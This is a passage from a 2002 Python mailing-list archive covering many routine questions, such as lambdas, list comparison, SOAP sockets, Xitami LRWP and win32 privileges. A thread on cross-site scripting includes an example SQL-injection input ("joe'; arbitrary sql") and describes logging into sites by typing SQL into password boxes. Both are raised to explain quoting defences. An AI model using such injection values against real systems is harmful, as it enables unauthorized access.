>>;-) >> >> >Since [].append returns None, we could use short cut eval rules to prog a tiny bit more clearly: > > >>> foo = lambda y:[[x for x in [[y]]], lambda:x.append(x.pop()+1) or x[0]][1] > >>> f=foo(4) > >>> [f() for x in xrange(5)] > [5, 6, 7, 8, 9] > >Better yet: > > >>> foo = lambda y:[lambda:x.append(x.pop()+1) or x[0] for x in [[y]]][0] > >>> f=foo(4) > >>> [f() for x in '.......'] > [5, 6, 7, 8, 9, 10, 11] > Boo! I misread an 'i' as a '1' -- to increment by a current arg (not 1) it should be >>> foo = lambda y:[lambda i:x.append(x.pop()+i) or x[0] for x in [[y]]][0] >>> f=foo(0) >>> f(0) 0 >>> [f(x) for x in xrange(10)] [0, 1, 3, 6, 10, 15, 21, 28, 36, 45] >>> f=foo(100) >>> [f(x) for x in xrange(10)] [100, 101, 103, 106, 110, 115, 121, 128, 136, 145] >>> [f(1) for x in xrange(10)] [146, 147, 148, 149, 150, 151, 152, 153, 154, 155] Regards, Bengt Richter From bgrotan at stud.ntnu.no Sat May 25 13:45:40 2002 From: bgrotan at stud.ntnu.no (=?iso-8859-1?Q?Bj=F8rn?= Ove =?iso-8859-1?Q?Gr=F8tan?=) Date: Sat, 25 May 2002 19:45:40 +0200 Subject: Dictionary checking Message-ID: <3CEFCDC4.67C1564E@stud.ntnu.no> I'm building a dictionary with values from a file. for each key, I have an ID, Name and Alias for some keys I have only ID and Name, some keys with ID and Alias, some keys with all 3 and a few keys with only a ID with no Name and no Alias. How can I check if Name and/or Alias contain anything. If Name contains any string it's ok, but if not I want to use the string value of Alias - and if not any value (space/blank) of Alias I want to do some error-handling. Also, I want to make some output with data combined from 2 dictionaries. Does anyone have any examples on how to do this? Bj?rn Gr?tan From whisper at oz.net Wed May 15 03:35:36 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 00:35:36 -0700 Subject: Python install on Windows In-Reply-To: <3ce203b1.682640671@news.skynet.be> Message-ID: Look for this line: "All others should download Python-2.2.1.tgz, the source tarball, and do the usual "gunzip; tar; configure; make" dance." on http://www.python.org/2.2.1/ I agree that it's not well called out. It's also not mentioned that the VC build projects are included in the tarball (which can be unpacked by WinZip) and the actual build instructions are different on windows then those mentioned above; see the documentation included in the tgz file in PCbuild/readme.txt. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of > henk.derudder at barconet.com > Sent: Tuesday, May 14, 2002 23:46 > To: python-list at python.org > Subject: Python install on Windows > > > Hi all, > > I downloaded the installer for Python 2.2 from www.python.org > I just wondered whether the source files for that installation process > are available and if so, where I can find/get them. I could use it to > write an unattended installer to install just the interpreter and its > libraries. > > Thanks in advance, > > Henk > -- > http://mail.python.org/mailman/listinfo/python-list From gh_pythonlist at gmx.de Fri May 17 07:40:23 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Fri, 17 May 2002 13:40:23 +0200 Subject: How many languages features are available for OO support? In-Reply-To: <9r5F8.142619$o66.424520@news-server.bigpond.net.au> References: <9r5F8.142619$o66.424520@news-server.bigpond.net.au> Message-ID: <20020517114023.GB1787@lilith.my-fqdn.de> * Byron Hammond [2002-05-17 11:02 +0000]: > To what extent does Python support OO? > > I know it has [multiple] inheritance and polymorphism etc, but to what > extent does the language accomodate this and other OO concepts? The language is described in the Python documentation. As you will see, there are no abstract or interface keywords. > Does Python support the notion of an abstract class or an interface > through the use of language features? No, not currently. Of course there are patters for newcomers from Java to fake these features. But they're of little practical use, IMO. Here's a quick shot from me: class X: def __init__(self, *args, **kwargs): raise NotImplementedError, "This class is abstract :-P" x = X() > I ask this because not only do I want certain design decisions to be > clear when reading the code, but I also want to make debugging easier > for myself. That's what comments and docstrings are for, like: class X: """{short description here} Don't use this class directly. Subclass it and override the {methodname} method instead.""" Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 25.8 ?C Wind: 3.5 m/s From zayats at blue.seas.upenn.edu Wed May 29 11:45:33 2002 From: zayats at blue.seas.upenn.edu (Salim Zayat) Date: 29 May 2002 15:45:33 GMT Subject: CanvasText issues Message-ID: If I want to add extra info to a CanvasText instance, should I just include it as a tag, or should I write some sort of a superclass around the CanvasText? IF the latter is better, how can I get that extra piece of info from the Canvas? For example, I wrote a superclass CText: class CText(CanvasText): def __init__(self, canvas, x, y, data, **kw): CanvasText.__init__(self, canvas, x, y, kw) self.data = data but now I want to get that self.data from a callback function bound to the canvas (as opposed to tag_binded to every CText) with something like this: def cb(event, c=canvas): if c.type('active') == 'text': DO SOMETHING else: pass canvas.bind('', cb) I have been trying to figure that problem out, and in doing such discovered just loading up the tags. So if that is the best way, so be it. I just wanted to get some more opinions before I committed to one way. Salim From aahz at pythoncraft.com Fri May 17 16:36:00 2002 From: aahz at pythoncraft.com (Aahz) Date: 17 May 2002 16:36:00 -0400 Subject: shutil rant References: <3ce4eebb.26302437@News.CIS.DFN.DE> Message-ID: In article <3ce4eebb.26302437 at News.CIS.DFN.DE>, Gerson Kurz wrote: > >Now I know about general unix superiority and all that, but ... do I >really have to resort to "import win32api" in order to make an exact >file copy on windows? Well, yes. The problem is that win32all is not part of the core Python distribution, so none of the core library features can rely on it. :-( -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From phlip_cpp at yahoo.com Fri May 3 14:01:29 2002 From: phlip_cpp at yahoo.com (Phlip) Date: 3 May 2002 11:01:29 -0700 Subject: How does vim.py from python-vim.sourceforge.net work? Message-ID: <63604d2.0205031001.38b07376@posting.google.com> Hypo Nt: I'm attempting to perform the Refactor "Replace Documentary Comment With Test" on vim.py, and I have gotten this far: if __name__ == '__main__': # How to use this module: First, make a commWindow. Then, use the commwindow to # find a server. Then send your commands to the servers - but check to see if # it is still valid or not. It will throw exceptions if the window is no longer # valid. dpy = display.Display() aComWin = commWindow(dpy) aComWin.lookup_name('name') I'm at the step "find a server", which may imply 'lookup_name', but it sez None when I run it, on this line: File "vim.py", line 178, in ? aComWin.lookup_name('name') File "vim.py", line 50, in lookup_name names = self.get_names() File "vim.py", line 92, in get_names r = result.value.split("\0") AttributeError: 'NoneType' object has no attribute 'value' (I nudged the line numbers a little.) Apparently this line fails: # Get the global properties result = self.screen.root.get_property( self.registryProperty, X.AnyPropertyType, 0, 100000 ) It fails whether or not a gvim or vim is in the 'puter. That's with python-xlib-0.12. So I switch back to python-xlib-0.9 - the one available a few days before your latest version on Fri 7 Dec 2001. That produces a revolting obsolete code error: File "vim.py", line 176, in ? dpy = display.Display() ... File "/usr/lib/python2.2/site-packages/Xlib/support/unix_connect.py", line 68, in get_socket fcntl.fcntl(s.fileno(), FCNTL.F_SETFD, FCNTL.FD_CLOEXEC) AttributeError: 'module' object has no attribute 'FD_CLOEXEC' This error is before the other one, leaving me little confidence that if I just band-aid it the other one will start working. I will noodle around with the code and if I find something I'l post it here. But does anyone have any tips? I like totally need this functionality at work because I'm building a better test rig than PyUnit, and they all use gvim. -- Phlip http://www.greencheese.org/PhilosophyBrethrenThree -- To catch a bug, you'v got to learn to think like a bug -- From miracle at paradise.net.nz Wed May 8 20:03:10 2002 From: miracle at paradise.net.nz (Matthew Sherborne) Date: Thu, 9 May 2002 12:03:10 +1200 Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: <21jC8.608$p77.66883@news.xtra.co.nz> I'd like to see a nice glossy python magazine like the "Delphi Informant" in the book stores. Put the contents and a couple of articles in PDF on the web. From les_ander at yahoo.com Tue May 7 14:50:52 2002 From: les_ander at yahoo.com (les ander) Date: 7 May 2002 11:50:52 -0700 Subject: variable length print format Message-ID: Hi, i have a variable length list of numbers. i would like to print them out with indicies in front as shown below: List=['a','b','c','d'] ---> 1:a 2:b 3:c 4:d one obvious solution is that i do for i in range(List): print "%s:%s" % (i+1,List[i]) however i have a lot of these and would like it to be faster so i tried doing this formatstr=" %s:%s " * len(List) print formatstr % (range(1,len(List)+1), List) but it did not work. is there a way to do this another way? les From BPettersen at NAREX.com Wed May 22 18:41:40 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Wed, 22 May 2002 16:41:40 -0600 Subject: Importing Self Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192B98C22@admin56.narex.com> > From: Salim Zayat [mailto:zayats at blue.seas.upenn.edu] [snip] > and it executes the statement fine. However when I try the > same in the > second file, I get an Exception. [snip] Unless you include the traceback and the specific exception you're getting it's going to be pretty hard for us to guess... -- bjorn From kseehof at neuralintegrator.com Wed May 1 23:17:59 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Wed, 01 May 2002 20:17:59 -0700 Subject: NEWBIE QUESTIION: Comparing Lists in Python In-Reply-To: <5Z0A8.185$Q85.6597@ozemail.com.au> Message-ID: > Hi everyone, > > I haven't been using python for very long, so I hope you will > forgive me if > I am asking a stupid question, or doing this in a stupid way. > > I am trying to compare two lists in Python, which have been > passed into it. > I want to return the difference between the two lists as again two lists > > eg: > > list 1 = item1, item5, item8, item10 > list2 = item 3, item4, item5 I think what you mean is: list1 = [item1, item5, item8, item10] list2 = [item 3, item4, item5] Lists have square brackets [] around them. > I want to return > > returnlist1 = item1, item8, item10 > returnlist2 = item3, item4 > > I haven't been working in python very long, but from what I have read, the > best way is to convert these to a dictionary, and compare there. This is > what I have done so far. > > list1 = list1.split(',') > list2 = list2.split(',') Apparently your inputs are strings, not lists. I don't know what your input looks like exactly, but if it contains spaces after the commas, the above code won't work right. Where is the input coming from? Can you give us an example? The advice you are referring to looks something like this: dict1 = {} for item in list1: dict1[item]=item dict2 = {} for item in list2: dict2[item]=item Then you copy items from list1 to returnlist1 excluding those that are in dict2. And again for returnlist2. I'll let you write that code for practice :-) The purpose of converting to a dictionary is to improve speed. You don't convert the dictionaries back to lists. Instead, copy items one at a time from list1 to returnlist, excluding what's in dict2. > returnlist1 = [] > returnlist2 = [] > > d = {} > for item in list1: > if item not in list2: > d[item] = item > if d: > returnlist1 = d.values() > > d2 = {} > for item in list2: > if item not in list1: > return item <--- huh? > d2[item] = item > if d2: > returnlist2 = d2.values() > > return [returnlist1,returnlist2] The "return item" will exit your function prematurely. I'm sure that's not what you want. > I found if I didn't include the split, but just passed in a list like > "list1=[item1, item3, item] it would work only on 1 character at > a time and > not recognise it was a split. > > Please let me know if I am doing this in a very stupid way. The > problem is > that it isn't always recognising the lists, or comparing correctly. It > finds returnlist1 OK, but not returnlist2. > > I'm using python scripts in Zope if that may also be causing a problem. Zope is the reason your inputs are strings rather than lists. I'd recommend getting something to work in a local python interpreter first. After you get it is working, add it to Zope. In general, it is best to program one little piece at a time, that way you will only have to solve one problem at a time. Divide and conquer. You should play around in the python interpreter until you are more comfortable with python before doing Zope programming. When you are ready to do Zope, try some really simple test program. Try to get to know your raw materials. Don't do anything complex. For example, just write a one line program like this: return [list1, list2] Then try this: return split(list1) Play around with it until you can consistently guess the result every time. Try adding two numbers together in Zope. That kind of thing. > Thanks very much > > Di > -- > Dianne van Dulken > (put out the cats to talk to me) > > See the cutest puppy in the known universe (as voted by Rick and i) > http://www.dogmac.com/bartholomew Bart gets another vote from me. :-) - Ken Seehof From ELabuschagne at gims.com Thu May 2 12:04:32 2002 From: ELabuschagne at gims.com (Etienne Labuschagne) Date: Thu, 2 May 2002 18:04:32 +0200 Subject: Talking to Java from Python? Message-ID: Hi there, This may sound stupid, but is it possible to create a "bridge" .dll between Python and Java code? I am thinking of something that can be imported by Python and also by Java (using maybe JNI?) and so be able to get the two to talk to each other. I know about Jython, but that is sometimes not the solution. I know one can use sockets or something like XML-RPC or Soap to get the two to communicate, but I am hoping for something more along the lines above. Regards Etienne -------------- next part -------------- An HTML attachment was scrubbed... URL: From whisper at oz.net Tue May 21 14:14:44 2002 From: whisper at oz.net (David LeBlanc) Date: Tue, 21 May 2002 11:14:44 -0700 Subject: Threading unfairness In-Reply-To: <3CEA363C.B2D9C5EE@engcorp.com> Message-ID: and in the fullness of time, when Python has acquired enough cruft, will it be Threaded.Threadable.threading.Thread.yield()? :-) David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Peter Hansen > Sent: Tuesday, May 21, 2002 4:58 > To: python-list at python.org > Subject: Re: Threading unfairness > > > David LeBlanc wrote (top-posting...David, please don't top-post): > > > > hehehe > > > > We'd have to call it thread.giveitup() since, in spite of my > arguments to > > the contrary, "yield" now has different semantics in Python then in most > > other languages/libraries that support the keyword. > > Alternatively, we could use threading.Thread.yield_(), in keeping > with the > ugly precedent established with unittest.TestCase.assert_() and the > recently discussed poplib.POP3.pass_() methods. > > -Peter > -- > http://mail.python.org/mailman/listinfo/python-list From emile at fenx.com Sat May 18 08:52:15 2002 From: emile at fenx.com (Emile van Sebille) Date: Sat, 18 May 2002 12:52:15 GMT Subject: How to propagate an exception ? References: <409a56e2.0205180428.44ddc3e0@posting.google.com> Message-ID: <38sF8.55674$Po6.19917@rwcrnsc52.ops.asp.att.net> Shagshag > How do you propagate an exception ? Is there a way to raise the > previous exception raised after doing something ? > use raise by itself to re-raise the prior error: >>> def test(): ... try: ... 1/0 ... except ZeroDivisionError: ... raise ... >>> test() Traceback (most recent call last): File "", line 1, in ? File "", line 3, in test ZeroDivisionError: integer division or modulo by zero >>> -- Emile van Sebille emile at fenx.com --------- From mlh at vier.idi.ntnu.no Sat May 11 14:48:25 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 11 May 2002 18:48:25 +0000 (UTC) Subject: path.startswith(dir)? References: Message-ID: In article , holger krekel wrote: [snip] >Additionally i guess that you are not dealing in any >way with relative filenames in this context, right? Right -- all paths in question have been through os.path.abspath >regards, > > holger -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From chris at cmb-enterprises.com Mon May 13 13:15:43 2002 From: chris at cmb-enterprises.com (Chris) Date: Mon, 13 May 2002 13:15:43 -0400 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> Message-ID: In article <9LJD8.34714$CN3.1229512 at news2.tin.it>, Alex Martelli wrote: > Chris wrote: > ... > > While I enjoy Python - and I do... it opned up the world of OO > > programming for me - I think there's almost a danger in things being too > > obvious. Creativity can be a messy business, but ultimately it leads to > > better places. > > The Python culture, by not particularly valuing "creativity" at the > lowest levels of programming, just frees up creative juices for use > where you get the best returns on them -- overall system architecture, > algorithms, sophisticated data structures. I agree, and I see this kind of debate happening in the Perl community, with questions regularly asked about high-level tasks. These too get diverse answers, and I think it's because the language ingrains a certain curiousity in programmers about whether or not there might just be another way of getting these a little quicker and/or a little more directly. In the end I'm not trying to say Python's approach is bad. Quite the contrary, I like Python quite a bit, and have defended it amongst Perl devotees. I just think that there is an advantage to a bit of ambiguity, at times. Then again, maybe I'm just caught up in Perl6 anticipation. :-) From duncan at NOSPAMrcp.co.uk Wed May 29 05:10:59 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Wed, 29 May 2002 09:10:59 +0000 (UTC) Subject: New (?) suggestion re: 'while x = f(): ...' References: Message-ID: Jeff Epler wrote in news:mailman.1022619227.16027.python-list at python.org: > and instead of > while 1: > x = f() > if not x: break > ... > you can write > for x in H(f): > ... > > Given suitable names for G() and H() (and I haven't thought of any yet) > does anybody favor this over the "pythonic" syntax? Personally, I think > I'll stick to doing it in the old-fashioned way, but I wanted to share > my idea with the world... 'H' is spelled 'iter' and already exists. >>> f = open('afile.txt').readline >>> while 1: x = f() if not x: break print x is equivalent to: >>> f = open('afile.txt').readline >>> for x in iter(f, ""): print x The second argument to iter as used here is the returned value that causes the loop to exit. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From mcherm at destiny.com Fri May 24 15:00:32 2002 From: mcherm at destiny.com (Michael Chermside) Date: Fri, 24 May 2002 15:00:32 -0400 Subject: How Are Unlimited Precision Integers Accomplished? Message-ID: <3CEE8DD0.6010006@destiny.com> A.M. Kuchling writes: > To really break things, I think this should really be something like: > >>>> exp = 2**31L - 1 >>>> exp > 2147483647L >>>> exp = exp * 15 >>>> exp > 32212254705L >>>> 1 << exp > Traceback (most recent call last): > File "", line 1, in ? > OverflowError: long int too large to convert to int Yes, but that's just because << is defined to take only an int on the right-hand-side, not a number. It's not a limit to the size of a Long. > Also note that Python can't print the value of your 'big' variable; it > gets a MemoryError. Yes, I noticed that. But I can still do arithmatic with it. Now it's no big deal if Longs are actually limited to some absurdly big value rather than being of truely unlimited size so long as you are running on a machine with infinite memory. But what I don't get is why they AREN'T limited (or appear not to be) given the way they are coded. -- Michael Chermside From dalke at dalkescientific.com Mon May 13 12:55:52 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Mon, 13 May 2002 10:55:52 -0600 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> <3CDF9BFA.5030107@mxm.dk> Message-ID: Max M: ># Best practice (519 chars) >def listView(listOfObjects): > result = [] > a = result.append > for object in listOfObjects: > if object.objectType in ['folder', 'content holder']: > a('') > else: > a('') > a('%s
' % object.title) > a('%s' % object.summary) > a('[View]' % object.id) > a('[Edit]
' % object.id) > return ''.join(result) Why is this 'best practice'? At the very least, I would have used "append = result.append" because "a" can be confused (in an HTML context) for the request to do an "a" tag. Have you considered this alternative? import cgi, urllib class ListViewAdapter: funcs = {"quote": urllib.quote, "escape": cgi.escape, "str": str} img = {"folder": "folder.gif", "content holder": "folder.gif"} def __init__(self, obj): self.obj = obj def __getitem__(self, item): terms = item.split("|") name, terms = terms[0], terms[1:] if name == "gifimage": s = self.img.get(self.obj.objectType, "content.gif") else: s = getattr(self.obj, name) for term in terms: s = self.funcs[term](s) return s def listView(listOfObjects): template = """\ %(title|escape)s
%(summary|escape)s [View] [Edit]
""" return "".join([ template % ListViewAdapter(obj) for obj in listOfObjects ]) It's a bit more complicated than yours partially because you don't have the code for escaping special characters inside of HTML text and or quoting characters inside of HTML tags. What it does is leverage Python's string interpolation to get the attribute you want to use, and optionally apply any set of transformations you want done on that value. The result makes it much easier to see how the HTML looks in one go rather than building it up through many Python commands. Andrew dalke at dalkescientific.com From aleax at aleax.it Wed May 8 18:47:16 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 08 May 2002 22:47:16 GMT Subject: Multibyte Character Surport for Python References: Message-ID: Fran?ois Pinard wrote: ... > If many people had experienced the pleasure of naming variables properly > for their national language while programming, I guess most of them would > be rather enthusiastic proponents on having this capability with Python, This one person has had this dubious "pleasure" and loathes the idea with a vengeance. The very *IDEA* of cutting off the huge majority of programmers in the world, who don't understand Italian, from being able to understand and work with my code, is utterly abhorrent to me. Now THAT is one niche where I'm glad that Italians' tendency to esterophily has prevailed -- all languages (Basic variants, etc) who perpetrated such horrors have died unmourned deaths. I may be (very mildly) sad that we don't say "calcolatore" any more in Italy, but "computer", and so on, but if that was the price to pay to kill the "programmate in italiano" languages, it was well worth paying. I now work for a Swedish firm and I'm *VERY* happy they fully agree -- although it's Swedish, the official language of the firm is English, all programs and docs &c. It's bad enough battling with Swedish keyboards, documents (in Swedish) coming from outside the firm, etc; at least with code and docs I'm OK!-) I'm a citizen of the EU. How many different natural languages should I learn to actually exercise my right to work anywhere in the EU, if English (or ANY other SINGLE language) wasn't a de facto standard? Let's see: Portuguese; at least four languages for Spain (castillano, catalano, gallego, Euskadi -- what more?); French; Flemish; Dutch; German; Italian; Irish; Welsh; Scot; Danish; Swedish; Finnish. Hope I've covered them all (until Corsica, Sardinia, etc, gain more linguistic status than they have now... or until another 10 or so languages get added by EU's expansion...). That's not how I want to spend my life. Long live a world where ONE natural language (don't care which one: ONE, I can learn) opens to me the doors of the (programming) world. Alex From pinard at iro.umontreal.ca Fri May 10 14:57:47 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 10 May 2002 14:57:47 -0400 Subject: Which GUI Library to Use In-Reply-To: References: Message-ID: [Alex Martelli] > IMHO, unless you have problems with the licenses or funding issues, > Qt is a good choice. [...] Tkinter is OK [...] wxPython was OK [...] No opinion on `pygtk'? :-) -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From blokeatiidotnet Sun May 19 13:54:40 2002 From: blokeatiidotnet (Rob Hall) Date: Mon, 20 May 2002 01:54:40 +0800 Subject: multithreading Message-ID: <3ce7e613$0$3732@echo-01.iinet.net.au> Can anyone point me to a useful tutorial on multithreading? Rob From syver-en+usenet at online.no Wed May 22 09:19:44 2002 From: syver-en+usenet at online.no (Syver Enstad) Date: Wed, 22 May 2002 13:19:44 GMT Subject: win32 all question, win32security, impersonation Message-ID: I was fiddling around with mount points on win2k (using windll) the other day, and discovered that I had to be administrator to delete mount points but only a super user to create them. Anyway, for fun I decided to check out the win32 api on how to logon as a different user while executing a program, I checked out the overview section on impersonation in the win32 all documentation, and it said that I had to obtain some privileges to be able to call the LogonUser function with any luck. I then proceeded to obtain the necessary privileges in my program using the sample code from the book *Python Programming on win32* by Hammond and Robinson. I succeed in obtaining one of the necessary privileges but as soon as I add the remaining privilges, the call to adjust privileges fail with: pywintypes.api_error: (1300, 'MyAdjustTokenPrivileges', 'Not all privileges referenced are assigned to the caller.') This also fails while running as administrator. I've only succeeded in getting the following privileges enabled SE_CHANGE_NOTIFY_NAME and SE_SHUTDOWN_NAME, when I add others it fails with the exception shown above. (I only tried with the SE_SHUTDOWN_NAME privilege to see if there were any problems getting more than one privilege enabled). For good measure here's the source code in question: import win32api import win32security from ntsecuritycon import * import sys def AdjustPrivilege(aPrivilegeStringList): flags = win32security.TOKEN_ADJUST_PRIVILEGES | win32security.TOKEN_QUERY htoken = win32security.OpenProcessToken(win32api.GetCurrentProcess(), flags) newPrivileges = [] for each in aPrivilegeStringList: id = win32security.LookupPrivilegeValue(None, each) newPrivileges.append((id, SE_PRIVILEGE_ENABLED)) win32security.AdjustTokenPrivileges(htoken, 0, newPrivileges) privileges = (SE_CHANGE_NOTIFY_NAME,SE_TCB_NAME, SE_ASSIGNPRIMARYTOKEN_NAME) AdjustPrivilege(privileges) -- Vennlig hilsen Syver Enstad From duncan-news at grisby.org Tue May 14 05:06:33 2002 From: duncan-news at grisby.org (Duncan Grisby) Date: Tue, 14 May 2002 09:06:33 GMT Subject: newbie - SOAP.py sockets and localhost? References: Message-ID: In article , Gordon Scott wrote: >Newbie here with a question I hope someone can answer. > >I was playing around with SOAP.py and the echoClient/echoServer demos. >Running them on one machine ran fine, running them on two different machines >yielded a '111, Connection Refused' error. For some reason I don't understand, most Python socket examples give the socket connection tuple as ("localhost", port). That tells the server to _only_ listen on the localhost interface, meaning remote clients can't connect. The correct thing to do is to use an empty string like ("", port) since that causes it to listen on all network interfaces. Cheers, Duncan. -- -- Duncan Grisby -- -- duncan at grisby.org -- -- http://www.grisby.org -- From grante at visi.com Wed May 29 22:13:56 2002 From: grante at visi.com (Grant Edwards) Date: Thu, 30 May 2002 02:13:56 GMT Subject: Why no open(f, "w").write()? References: Message-ID: In article , Gary Herron wrote: >> yes, but can you disagree with the statement that it is bad programming >> practice. I sure can't. > > Here's why its a bad practice: > > The question is: When does the file get closed? Sometime before the program exits. > The expectation is that the file object will be garbage collected > immediately after the statement is executed (since that's when its ref > count goes to zero), and that this will force the file to be closed. If that's the expectation, then I agree that it's bad practice. If the expectation is that the file will be closed by the time the program has terminated, then is it still bad practice? Probably so... -- Grant Edwards grante Yow! I'm into SOFTWARE! at visi.com From gerhard at bigfoot.de Fri May 17 22:20:42 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 18 May 2002 02:20:42 GMT Subject: Python or Ruby for a newbie - Winner is Python! References: <91acf731.0205170652.43923fcc@posting.google.com> <3CE59233.54D85E40@engcorp.com> Message-ID: Peter Hansen wrote in comp.lang.python: > I was posting messages to this newsgroup for almost two weeks at the > end of April and beginning of May. [...] Well, my service provider's news system was swallowing all my posts, > keeping them locally (so I could see they were posted) but never > upfeeding them into the rest of Usenet. [...] Already happened to me, too. In doubt, it helps to check http://groups.google.com/ a few hours later to see if it has arrived upstream (or check with a different nntp server if you have access to one). Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From tdelaney at avaya.com Wed May 29 18:52:48 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 30 May 2002 08:52:48 +1000 Subject: New (?) suggestion re: 'while x = f(): ...' Message-ID: > From: Jeff Epler [mailto:jepler at unpythonic.net] > > Not quite -- H will stop on "any false value", while iter(f, "") will > stop on a single value. > > Now, if iter would take a function as a second argument... > > def myiter(f, g): > if callable(g): > while 1: > v = f() > if g(v): break > yield v > else: > while 1: > v = f() > if v==g: break > yield v > then myiter(f, lambda x: not x) would be the equivalen of H(f). iter(o[, sentinel]) Return an iterator object. The first argument is interpreted very differently depending on the presence of the second argument. Without a second argument, o must be a collection object which supports the iteration protocol (the __iter__() method), or it must support the sequence protocol (the __getitem__() method with integer arguments starting at 0). If it does not support either of those protocols, TypeError is raised. If the second argument, sentinel, is given, then o must be a callable object. The iterator created in this case will call o with no arguments for each call to its next() method; if the value returned is equal to sentinel, StopIteration will be raised, otherwise the value will be returned. New in version 2.2. Tim Delaney From cook at pyzine.com Wed May 8 18:48:02 2002 From: cook at pyzine.com (Bryan Richard) Date: Wed, 08 May 2002 22:48:02 GMT Subject: [Survey] Py Feedback Message-ID: <3cd9a9d9.196458672@news.newsguy.com> Two parts to this email (1) gather a bit of feedback on Py (2) inform those who aren't aware of Py that it is out there. Py is a print zine for Python, blah, blah, blah www.PyZine.com. Some people like it. First, the first issue of Py has been out for a month or so. What's right? What's wrong? Didn't buy it - why not? Second, I've been in contact with distributors. The zine has been received very well, and they feel there would be little problem in getting it in Barnes & Noble, etc., once I fix one thing. The only issue is the page count. The current # of pages is 16 and it needs to be 40-60. At that size, we are talking about +10 articles + ads (if possible) and a price hike. All and all, a considerable investment in time and money on this side and a possible barrier to entry on your side (higher price). Given all this, does anyone have an opinion on what the consumer interest in a Python periodical might be? Keep it small; keep it on the web? My thinking has always been that Py, and subsequently, Python, would reach more people if it were in a bookstore. Perhaps I'm wrong. Be well, Bryan Editor, Publisher, Slacker Py Parlour Press From newsfroups at jerf.org Tue May 21 20:13:45 2002 From: newsfroups at jerf.org (Jeremy Bowers) Date: Wed, 22 May 2002 00:13:45 GMT Subject: How to know if a popen*() was successful? References: Message-ID: <3CEAE2F5.5030605@jerf.org> Fernando P?rez wrote: > Very good point. I'll probably rewrite my page() routine to simply jump out > straight to the dumb default under windows, and in Unix to do some > platform-specific tests which may work better (like using which to find the > person's pager). Another possibility is using Tk or something to pop up your own pager, since Windows effectively doesn't have one worth a toot. (Though you might consider writing a temp file and calling up "notepad" or "wordpad" on it, if that works for you.) It's a pretty simple invocation of a scrolled text area, a couple of quick calls to fill it with text, and make it read-only, and *viola*, a simple, effective pager. From francois.lepoutre at seriatim.com Mon May 13 16:36:27 2002 From: francois.lepoutre at seriatim.com (François Lepoutrre) Date: Mon, 13 May 2002 21:36:27 +0100 Subject: High performance Python web-app References: Message-ID: Tim Golden wrote in message ... >fwiw, I've had no problems serving binary results from Xitami / LRWP on >Win32. Any symptoms in particular? Thank a lot to both of you for getting in at this stage on the xitami issue. I should that i am no xitami expert. Installing the webserver was a pleasant experience. We would be pleased to use xitami. Building text/html "on the fly" was no problem. The code that ran into trouble is the following: # get a blob from a file fh = open("test.jpg","rb") jpeg = fh.read() fh.close() # invoke the LRWP agent callcount = 0 import lrwplib lrwp = lrwplib.LRWP("lrtest","127.0.0.1",81,'') lrwp.connect() while 1: request = lrwp.acceptRequest() demo_info = cursor_handle.fetchone() callcount +=1 # push the blob request.out.write('Content-type: image/jpeg\r\n\r\n') request.out.write(jpeg) request.finish() if callcount >10: break lrwp.close() cursor_handle.close() We discovered that binary data got truncated when passing thru the lrwp interface. opening "python -u" makes no difference. Possibly the issue is in the socket connection. We searched google on the issue: http://xitami.ec-computers.net/1999/Dec/Msgs/l2w56519.html http://xitami.ec-computers.net/2001/Apr/Msgs/l2w24011.html Are we forgetting something? From fredrik at pythonware.com Sun May 26 08:42:42 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 26 May 2002 12:42:42 GMT Subject: Python cross-site scripting exploits? References: Message-ID: <6L4I8.9198$p56.2659096@newsb.telia.net> Ian Bicking wrote: > SQL quoting is obnoxious, because you often will construct a SQL statement > from multiple sources, some of which come from the user (and are > \-quoted) and some which to not. If you double-quote the user's input, > you will again get spurious \'s (since input like "joe'; arbitrary sql" > will become "joe\'; arbitrary sql" and then "'joe\\\'; arbitrary sql'") > > Perl's tainting is better, but simple thoughtfulness is sufficient, > IMHO. And thorough quoting. fwiw, a Swedish tabloid recently managed to log in as privileged intraweb users on a whole bunch of commercial sites simply by typing carefully selected SQL fragments into ordinary login boxes. no real hacking required; just type some boilerplate SQL into the password field, and you're in. (some days, I wonder if programmer certification isn't such a bad idea, after all...) From tismer at tismer.com Fri May 24 22:44:40 2002 From: tismer at tismer.com (Christian Tismer) Date: Fri, 24 May 2002 19:44:40 -0700 Subject: 2**HUGENUMBER Why not optimise it? References: Message-ID: <3CEEFA98.8000504@tismer.com> Michael 